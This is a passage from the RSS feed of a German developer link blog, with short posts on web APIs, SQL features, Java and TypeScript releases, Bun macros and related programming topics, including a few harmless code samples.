</content:encoded><language>de-DE</language><category>windows</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2023/05/24/1.html</link><guid isPermaLink="true">https://blog.holz.nu/2023/05/24/1.html</guid><pubDate>Wed, 24 May 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Windows bekommt ein neues Feature namens &lt;a href=&quot;https://learn.microsoft.com/en-us/windows/dev-drive/&quot;&gt;&quot;Dev Drive&quot;&lt;/a&gt;.
Das ist eine gemountete VHD, die statt NTFS dann ReFS nutzt.&lt;/p&gt;
&lt;p&gt;Warum will man das? Das hab ich mich auch gefragt. Scheinbar ist ReFS deutlich schneller. Außerdem kann das Antivirensystem bei der On-Access-Prüfung der Dateien dafür ausgeschaltet werden. Das Schlangenölsystem prüft dann wohl bei jedem &lt;code&gt;npm install&lt;/code&gt; nicht mehr 10mio Dateien.&lt;/p&gt;
&lt;p&gt;Aber cool zu sehen, dass ReFS es mittlerweile auch auf Desktopsysteme schafft.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>windows</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2023/05/25/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2023/05/25/0.html</guid><pubDate>Thu, 25 May 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;HTML hat seit Kurzem ja ein Dialog-Element. Jetzt bald kommt das &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/API/Popover_API&quot;&gt;Popover-Element&lt;/a&gt;. Mehr &lt;a href=&quot;https://dev.to/link2twenty/future-of-css-popover-api-3ba0&quot;&gt;hier&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>css</category><category>html</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2023/05/26/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2023/05/26/0.html</guid><pubDate>Fri, 26 May 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;TIL &lt;a href=&quot;https://docs.docker.com/engine/reference/commandline/wait/&quot;&gt;&lt;code&gt;docker wait&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>docker</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2023/05/30/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2023/05/30/0.html</guid><pubDate>Tue, 30 May 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Jemand von OpenAI &lt;a href=&quot;https://youtu.be/bZQun8Y4L2A&quot;&gt;war auf der Build&lt;/a&gt; und hat ein bisschen erklärt, wie GPT intern funktioniert und was das für Implikationen hat, wenn man eine Anfrage macht.&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2023/06/01/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2023/06/01/0.html</guid><pubDate>Thu, 01 Jun 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://netherlands.postsen.com/trends/198695/Securitytxt-now-mandatory-for-Dutch-government-websites.html&quot;&gt;Security.txt now mandatory for Dutch government websites&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2023/06/01/1.html</link><guid isPermaLink="true">https://blog.holz.nu/2023/06/01/1.html</guid><pubDate>Thu, 01 Jun 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://github.com/stevana/armstrong-distributed-systems/blob/main/docs/erlang-is-not-about.md&quot;&gt;Erlang&apos;s not about lightweight processes and message passing...&lt;/a&gt;&lt;/p&gt;
</content:encoded><language>de-DE</language><category>language-design</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2023/06/01/2.html</link><guid isPermaLink="true">https://blog.holz.nu/2023/06/01/2.html</guid><pubDate>Thu, 01 Jun 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Falls Ihr einmal einen RFC für PHP schreiben wollt: &lt;a href=&quot;https://blogs.oracle.com/opal/post/the-mysterious-php-rfc-process-and-how-you-can-change-the-web&quot;&gt;The Mysterious PHP RFC Process and How You Can Change the Web&lt;/a&gt; (2013)&lt;/p&gt;
</content:encoded><language>de-DE</language><category>language-design</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2023/06/01/3.html</link><guid isPermaLink="true">https://blog.holz.nu/2023/06/01/3.html</guid><pubDate>Thu, 01 Jun 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://httptoolkit.com/blog/cache-your-cors/&quot;&gt;Cache your CORS, for performance &amp;amp; profit&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2023/06/01/4.html</link><guid isPermaLink="true">https://blog.holz.nu/2023/06/01/4.html</guid><pubDate>Thu, 01 Jun 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://blog.meadsteve.dev/team-work/2022/10/13/how-boring-should-your-teams-codebases-be/&quot;&gt;How boring should your team&apos;s codebases be&lt;/a&gt;?&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2023/06/01/5.html</link><guid isPermaLink="true">https://blog.holz.nu/2023/06/01/5.html</guid><pubDate>Thu, 01 Jun 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Aus der Reihe der Posts, die man so kennt: &lt;a href=&quot;https://codeblog.jonskeet.uk/2019/03/27/storing-utc-is-not-a-silver-bullet/&quot;&gt;Storing UTC is not a silver bullet&lt;/a&gt; von Nodatime-Author Jon Skeet.&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2023/06/01/6.html</link><guid isPermaLink="true">https://blog.holz.nu/2023/06/01/6.html</guid><pubDate>Thu, 01 Jun 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://devblogs.microsoft.com/typescript/announcing-typescript-5-1/&quot;&gt;TypeScript 5.1&lt;/a&gt; ist da. Auf der Build gab es einen Talk von Anders zu dem Release. Ist leider noch nicht auf YouTube hochgeladen. Vielleicht kommt es aber auch nie.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>typescript</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2023/06/02/1.html</link><guid isPermaLink="true">https://blog.holz.nu/2023/06/02/1.html</guid><pubDate>Fri, 02 Jun 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://www.iso.org/standard/76584.html&quot;&gt;SQL 2023&lt;/a&gt; ist da. Der Standard kostet natürlich Geld. &lt;a href=&quot;https://peter.eisentraut.org/blog/2023/04/04/sql-2023-is-finished-here-is-whats-new&quot;&gt;Hier&lt;/a&gt; gibt es eine Übersicht über die neuen Features. Interessant sind &quot;Property Graph Queries&quot;.
Beispiel aus dem verlinkten Post:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;CREATE TABLE person (...);
CREATE TABLE company (...);
CREATE TABLE ownerof (...);
CREATE TABLE transaction (...);
CREATE TABLE account (...);

CREATE PROPERTY GRAPH financial_transactions
    VERTEX TABLES (person, company, account)
    EDGE TABLES (ownerof, transaction);

SELECT owner_name,
       SUM(amount) AS total_transacted
FROM financial_transactions GRAPH_TABLE (
  MATCH (p:person WHERE p.name = &apos;Alice&apos;)
        -[:ownerof]-&amp;gt; (:account)
        -[t:transaction]- (:account)
        &amp;lt;-[:ownerof]- (owner:person|company)
  COLUMNS (owner.name AS owner_name, t.amount AS amount)
) AS ft
GROUP BY owner_name;

&lt;/code&gt;&lt;/pre&gt;
</content:encoded><language>de-DE</language><category>db</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2023/06/05/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2023/06/05/0.html</guid><pubDate>Mon, 05 Jun 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Es gibt in SQL ein &lt;a href=&quot;https://www.cockroachlabs.com/blog/select-for-update/&quot;&gt;&lt;code&gt;SELECT FOR UPDATE&lt;/code&gt;&lt;/a&gt; (&lt;a href=&quot;https://mariadb.com/kb/en/for-update/&quot;&gt;MariaDB&lt;/a&gt;, &lt;a href=&quot;https://www.postgresql.org/docs/current/sql-select.html&quot;&gt;Postgres&lt;/a&gt;), was man in Transaktionen benutzen kann, um schon frühzeitig zu sagen, dass man die entsprechenden Zeilen updaten wird, damit sie schon direkt gelockt werden können. Dadurch kann verhindert werden, dass Transaktionen unnötig neu versucht werden müssen.&lt;/p&gt;
&lt;p&gt;Man kann sich mit einer SQL-DB ja eine Task-/Message-Queue für Arme bauen. Das ist besonders dann eine mögliche Lösung, wenn man noch kein ein Queuing-System hat oder die Anzahl an Messages pro Sekunde überschaubar ist.
In diesem Fall kann man nicht nur &lt;code&gt;SELECT FOR UPDATE&lt;/code&gt; verwenden, sondern auch zusätzlich noch &lt;a href=&quot;https://www.2ndquadrant.com/en/blog/what-is-select-skip-locked-for-in-postgresql-9-5/&quot;&gt;&lt;code&gt;SKIP LOCKED&lt;/code&gt;&lt;/a&gt;. Durch das &lt;code&gt;SELECT FOR UPDATE&lt;/code&gt; wird ja nicht verhindert, dass sich ein anderer Worker die Nachricht zusätzlich noch holt. Mit &lt;code&gt;SELECT FOR UPDATE SKIP LOCKED&lt;/code&gt; kann man die Zeilen überspringen, die gerade in einer Transaktion sind.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>db</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2023/06/05/1.html</link><guid isPermaLink="true">https://blog.holz.nu/2023/06/05/1.html</guid><pubDate>Mon, 05 Jun 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Ein bisschen Rust-Gossip: &lt;a href=&quot;https://graydon2.dreamwidth.org/307291.html&quot;&gt;The Rust I Wanted Had No Future&lt;/a&gt;&lt;/p&gt;
</content:encoded><language>de-DE</language><category>rust</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2023/06/05/2.html</link><guid isPermaLink="true">https://blog.holz.nu/2023/06/05/2.html</guid><pubDate>Mon, 05 Jun 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Java bekommt das Äquivalent zu &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Template_literals#tagged_templates&quot;&gt;Tagged Template Strings&lt;/a&gt;: &lt;a href=&quot;https://openjdk.org/jeps/430&quot;&gt;String Template Expressions&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Die Muttersprache der JVM entwickelt sich in eine andere Richtung als Kotlin. Kotlin hat dann bald viele Dinge redundant zu der nativen Java-Version.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>java</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2023/06/05/3.html</link><guid isPermaLink="true">https://blog.holz.nu/2023/06/05/3.html</guid><pubDate>Mon, 05 Jun 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://ersei.net/en/blog/diy-programming-language&quot;&gt;Building a Programming Language in Twenty-Four Hours&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>language-design</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2023/06/06/1.html</link><guid isPermaLink="true">https://blog.holz.nu/2023/06/06/1.html</guid><pubDate>Tue, 06 Jun 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Das &lt;a href=&quot;https://de.wikipedia.org/wiki/Downs-Thomson-Paradoxon&quot;&gt;Downs-Thomson Paradoxon&lt;/a&gt; besagt, dass die durchschnittliche Geschwindigkeit des Autoverkehrs auf einem Straßennetz durch die durchschnittliche Tür-zu-Tür-Geschwindigkeit von gleichwertigen Fahrten mit öffentlichen Verkehrsmitteln bestimmt wird.&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2023/06/06/2.html</link><guid isPermaLink="true">https://blog.holz.nu/2023/06/06/2.html</guid><pubDate>Tue, 06 Jun 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Bun hat jetzt &lt;a href=&quot;https://bun.sh/blog/bun-macros&quot;&gt;Makros&lt;/a&gt;:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;random.ts&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;export function random() {
  return Math.random();
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;main.ts&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import { random } from &apos;./random.ts&apos; with { type: &apos;macro&apos; };

console.log(`Your random number is ${random()}`);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Output im gebundleten js-File:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ bun build ./cli.tsx
console.log(`Your random number is ${0.6805550949689833}`);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Interessantes Feature, das im Bundler-Bereich ein paar Grenzen verschieben könnte. So sontan könnte man damit einfach alle Bundler-Plugins durch einfache es-module ersetzen. Das würde IMHO Build-Toolchains deutlich vereinfachen.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>javascript</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2023/06/06/3.html</link><guid isPermaLink="true">https://blog.holz.nu/2023/06/06/3.html</guid><pubDate>Tue, 06 Jun 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Zahlen: &lt;a href=&quot;https://github.com/wooorm/npm-esm-vs-cjs&quot;&gt;ESM vs CJS&lt;/a&gt; auf NPM.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>javascript</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2023/06/07/1.html</link><guid isPermaLink="true">https://blog.holz.nu/2023/06/07/1.html</guid><pubDate>Wed, 07 Jun 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://www.refactoringui.com/previews/building-your-color-palette&quot;&gt;Building Your Color Palette&lt;/a&gt; (&lt;a href=&quot;https://news.ycombinator.com/item?id=18421755&quot;&gt;HN-Kommentare&lt;/a&gt;)&lt;/p&gt;
</content:encoded><language>de-DE</language><category>ux</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2023/06/08/1.html</link><guid isPermaLink="true">https://blog.holz.nu/2023/06/08/1.html</guid><pubDate>Thu, 08 Jun 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Ein cooler Vortrag über &lt;a href=&quot;https://media.ccc.de/v/34c3-8885-we_should_share_our_secrets&quot;&gt;Shamir&apos;s Secret Sharing&lt;/a&gt; vom 34c3.&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2023/06/09/1.html</link><guid isPermaLink="true">https://blog.holz.nu/2023/06/09/1.html</guid><pubDate>Fri, 09 Jun 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Der Standard für Symbole auf Geräten, die man immer mal wieder sieht: &lt;a href=&quot;https://www.iso.org/obp/ui#iso:pub:PUB400008:en&quot;&gt;ISO 7000 / IEC 60417 Graphical symbols for use on equipment&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2023/06/10/1.html</link><guid isPermaLink="true">https://blog.holz.nu/2023/06/10/1.html</guid><pubDate>Sat, 10 Jun 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://2016.mrmcd.net/de/blog/2016/09/21/bonus-hackokratischer-eid/&quot;&gt;Der Hackokratische Eid&lt;/a&gt;&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2023/06/10/2.html</link><guid isPermaLink="true">https://blog.holz.nu/2023/06/10/2.html</guid><pubDate>Sat, 10 Jun 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://www.debian.org/News/2023/20230610&quot;&gt;Debian 12 ist da&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>debian</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2023/06/11/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2023/06/11/0.html</guid><pubDate>Sun, 11 Jun 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Neu: &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/API/Sanitizer&quot;&gt;HTML Sanitizer API&lt;/a&gt;, und die kommt mit &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/API/Element/setHTML&quot;&gt;&lt;code&gt;Element.setHTML()&lt;/code&gt;&lt;/a&gt; für ein &lt;code&gt;.innerHTML&lt;/code&gt; für untrusted Input.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>javascript</category><category>html</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2023/06/11/1.html</link><guid isPermaLink="true">https://blog.holz.nu/2023/06/11/1.html</guid><pubDate>Sun, 11 Jun 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;/2023/06/05/2.html&quot;&gt;Neulich&lt;/a&gt; hab ich was über ein neues Feature von Java 21 geschrieben.&lt;/p&gt;
&lt;p&gt;Hier gibt es eine Liste an den neuen, interessanten Sachen in Java 21: &lt;a href=&quot;https://vived.substack.com/p/the-compact-overview-of-jdk-21s-frozen&quot;&gt;The compact overview of JDK 21&apos;s &quot;frozen&quot; feature list&lt;/a&gt;. Was mir dort in die Augen fällt:&lt;/p&gt;
&lt;blockquote&gt;
&lt;ol&gt;
&lt;li&gt;Valhalla is officially trying to bite on the topic of Nullability in Java&lt;/li&gt;
&lt;/ol&gt;
&lt;/blockquote&gt;
&lt;p&gt;Valhalla ist der Projektname dafür, user-defined Value-Types in die JVM zu bringen, ähnlich zu denen in C# (Structs). Das zieht einen langen Rattenschwanz hinter sich her, darunter auch die Generics, die in Java mit Type-Erasure umgesetzt werden (in C# wird zur Laufzeit ein konkret anderer Typ instanziiert).
Teil dieses Rattenschwanzes ist jetzt wohl auch &lt;a href=&quot;https://mail.openjdk.org/pipermail/valhalla-spec-observers/2023-June/002253.html&quot;&gt;Nullability&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Das wird jetzt nochmal viel interessanter, denn Nullability ist in Kotlin nochmal ganz anders gelöst. Ob wir am Ende einen super komplizierten Interop zwischen den Sprachen haben (was einer der Vorteile von Kotlin war) oder werden sie sich soweit voneinander entwickeln, dass sie inkompatibel werden?&lt;/p&gt;
</content:encoded><language>de-DE</language><category>java</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2023/06/12/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2023/06/12/0.html</guid><pubDate>Mon, 12 Jun 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Mit Stable Diffusion kann man ganz coole &lt;a href=&quot;https://stable-diffusion-art.com/qr-code/&quot;&gt;QR-Codes generieren&lt;/a&gt;.
&lt;a href=&quot;https://arstechnica.com/information-technology/2023/06/redditor-creates-working-anime-qr-codes-using-stable-diffusion/&quot;&gt;Hier&lt;/a&gt; gibt es &lt;a href=&quot;https://old.reddit.com/r/StableDiffusion/comments/145p93s/how_to_send_a_secret_message_with_your_fruit_stall/&quot;&gt;noch&lt;/a&gt; &lt;a href=&quot;https://old.reddit.com/r/StableDiffusion/comments/1436nqv/my_attempt_on_qr_code/&quot;&gt;mehr&lt;/a&gt;. Werden wir in Zukunft sicher häufiger sehen.&lt;/p&gt;
&lt;p&gt;Bei mir funktionieren die nicht mit dem Scanner, den ich nutze.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>ml</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2023/06/12/1.html</link><guid isPermaLink="true">https://blog.holz.nu/2023/06/12/1.html</guid><pubDate>Mon, 12 Jun 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://developer.chrome.com/blog/whats-new-css-ui-2023/&quot;&gt;Neue Dinge in CSS und HTML in 2023&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>css</category><category>html</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2023/06/13/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2023/06/13/0.html</guid><pubDate>Tue, 13 Jun 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://noncombatant.org/2021/10/23/thoughts-on-language-design-bugs/&quot;&gt;Thoughts On Language Design Bugs&lt;/a&gt;&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2023/06/13/1.html</link><guid isPermaLink="true">https://blog.holz.nu/2023/06/13/1.html</guid><pubDate>Tue, 13 Jun 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://remove.bg&quot;&gt;remove.bg&lt;/a&gt; und &lt;a href=&quot;https://www.watermarkremover.io&quot;&gt;WatermarkRemover&lt;/a&gt;&lt;/p&gt;
</content:encoded><language>de-DE</language><category>tools</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2023/06/13/2.html</link><guid isPermaLink="true">https://blog.holz.nu/2023/06/13/2.html</guid><pubDate>Tue, 13 Jun 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://cdacamar.github.io/data%20structures/algorithms/benchmarking/text%20editors/c++/editor-data-structures/&quot;&gt;Text Editor Data Structures&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>datenstrukturen</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2023/06/16/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2023/06/16/0.html</guid><pubDate>Fri, 16 Jun 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://posthog.com/blog/ab-testing-mistakes&quot;&gt;8 annoying A/B testing mistakes every engineer should know&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>ux</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2023/06/17/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2023/06/17/0.html</guid><pubDate>Sat, 17 Jun 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Kleiner Hack: &lt;a href=&quot;https://www.chiark.greenend.org.uk/~sgtatham/coroutines.html&quot;&gt;Coroutines in C&lt;/a&gt;&lt;/p&gt;
</content:encoded><language>de-DE</language><category>c</category><category>language-design</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2023/06/18/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2023/06/18/0.html</guid><pubDate>Sun, 18 Jun 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Gerade bin ich in einem Gespräch mal wieder auf &lt;a href=&quot;https://mybroadband.co.za/news/banking/205874-root-a-revolutionary-programmable-credit-card-for-south-africa.html&quot;&gt;Root&lt;/a&gt; (die Bank) gekommen. Scheint nicht so gut gelaufen zu sein, zumindest leitet die Webseite jetzt auf ein komplett anderes Business weiter.&lt;/p&gt;
&lt;p&gt;Echt schade, sowas fänd&apos; ich echt cool für ITler. In DE könnte man das sicher über Solaris machen - gibt es da das?&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2023/06/18/1.html</link><guid isPermaLink="true">https://blog.holz.nu/2023/06/18/1.html</guid><pubDate>Sun, 18 Jun 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://deadbeef.me/2018/01/go-gotchas&quot;&gt;Common Gotchas in Go&lt;/a&gt;&lt;/p&gt;
</content:encoded><language>de-DE</language><category>golang</category><category>language-design</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2023/06/19/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2023/06/19/0.html</guid><pubDate>Mon, 19 Jun 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://www.defmacro.org/2019/03/26/startup-checklist.html&quot;&gt;Startup idea checklist&lt;/a&gt; (2019)&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2023/06/19/1.html</link><guid isPermaLink="true">https://blog.holz.nu/2023/06/19/1.html</guid><pubDate>Mon, 19 Jun 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Kaum ist das using (und async using) in JS standardisiert, &lt;a href=&quot;https://www.totaltypescript.com/typescript-5-2-new-keyword-using&quot;&gt;kommt TypeScript mit support dafür&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Die Nightly-Version von TS im Playground kann es scheinbar noch nicht. Bin gespannt, zu sehen, wie das vim Compiler in ältere JS-Versionen gelowert wird.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>typescript</category><category>javascript</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2023/06/20/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2023/06/20/0.html</guid><pubDate>Tue, 20 Jun 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Lighthouse kann man &lt;a href=&quot;https://web.dev/lighthouse-ci/&quot;&gt;in CI laufen lassen&lt;/a&gt;, damit man Perf- und A11y-Regressionen besser erkennt.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>ux</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2023/06/21/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2023/06/21/0.html</guid><pubDate>Wed, 21 Jun 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://ishadeed.com/article/unusual-use-cases-pseudo-elements/&quot;&gt;Uncommon Use Cases For Pseudo Elements&lt;/a&gt; (2019)&lt;/p&gt;
</content:encoded><language>de-DE</language><category>css</category><category>html</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2023/06/25/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2023/06/25/0.html</guid><pubDate>Sun, 25 Jun 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Nach &lt;a href=&quot;https://gankra.github.io/blah/text-hates-you/&quot;&gt;Text Rendering Hates You&lt;/a&gt;, nun: &lt;a href=&quot;https://lord.io/text-editing-hates-you-too/&quot;&gt;Text Editing Hates You Too&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2023/06/27/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2023/06/27/0.html</guid><pubDate>Tue, 27 Jun 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Aus der Sammlung &lt;a href=&quot;/2022/02/23/0.html&quot;&gt;&quot;HTML-Sachen, die man nicht kennt&quot;&lt;/a&gt;, hier noch ein post: &lt;a href=&quot;https://www.smashingmagazine.com/2022/03/html-attributes-you-never-use/&quot;&gt;Those HTML Attributes You Never Use&lt;/a&gt;&lt;/p&gt;
</content:encoded><language>de-DE</language><category>html</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2023/06/28/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2023/06/28/0.html</guid><pubDate>Wed, 28 Jun 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://vfoley.xyz/lesser-known-coding-fonts/&quot;&gt;Lesser Known Coding Fonts&lt;/a&gt; (2019)&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2023/06/30/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2023/06/30/0.html</guid><pubDate>Fri, 30 Jun 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://mun-lang.org/blog/2020/05/01/memory-mapping/&quot;&gt;Hot Reloadable structs: Memory Mapping&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>language-design</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2023/06/30/1.html</link><guid isPermaLink="true">https://blog.holz.nu/2023/06/30/1.html</guid><pubDate>Fri, 30 Jun 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://www.tedinski.com/2018/03/13/how-compilers-are-designed.html&quot;&gt;What can we learn from how compilers are designed?&lt;/a&gt; (2018)&lt;/p&gt;
</content:encoded><language>de-DE</language><category>language-design</category><category>compiler</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2023/07/01/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2023/07/01/0.html</guid><pubDate>Sat, 01 Jul 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Gerade ein bisschen Geld übrig? &lt;a href=&quot;https://github.com/AndyDoering/Keyboards&quot;&gt;The Comprehensive Custom Keyboard Guide&lt;/a&gt;&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2023/07/01/1.html</link><guid isPermaLink="true">https://blog.holz.nu/2023/07/01/1.html</guid><pubDate>Sat, 01 Jul 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Wer ein paar Fingerübungen in CSS-Selektoren machen will: &lt;a href=&quot;https://css-speedrun.netlify.app&quot;&gt;CSS Speedrun&lt;/a&gt;&lt;/p&gt;
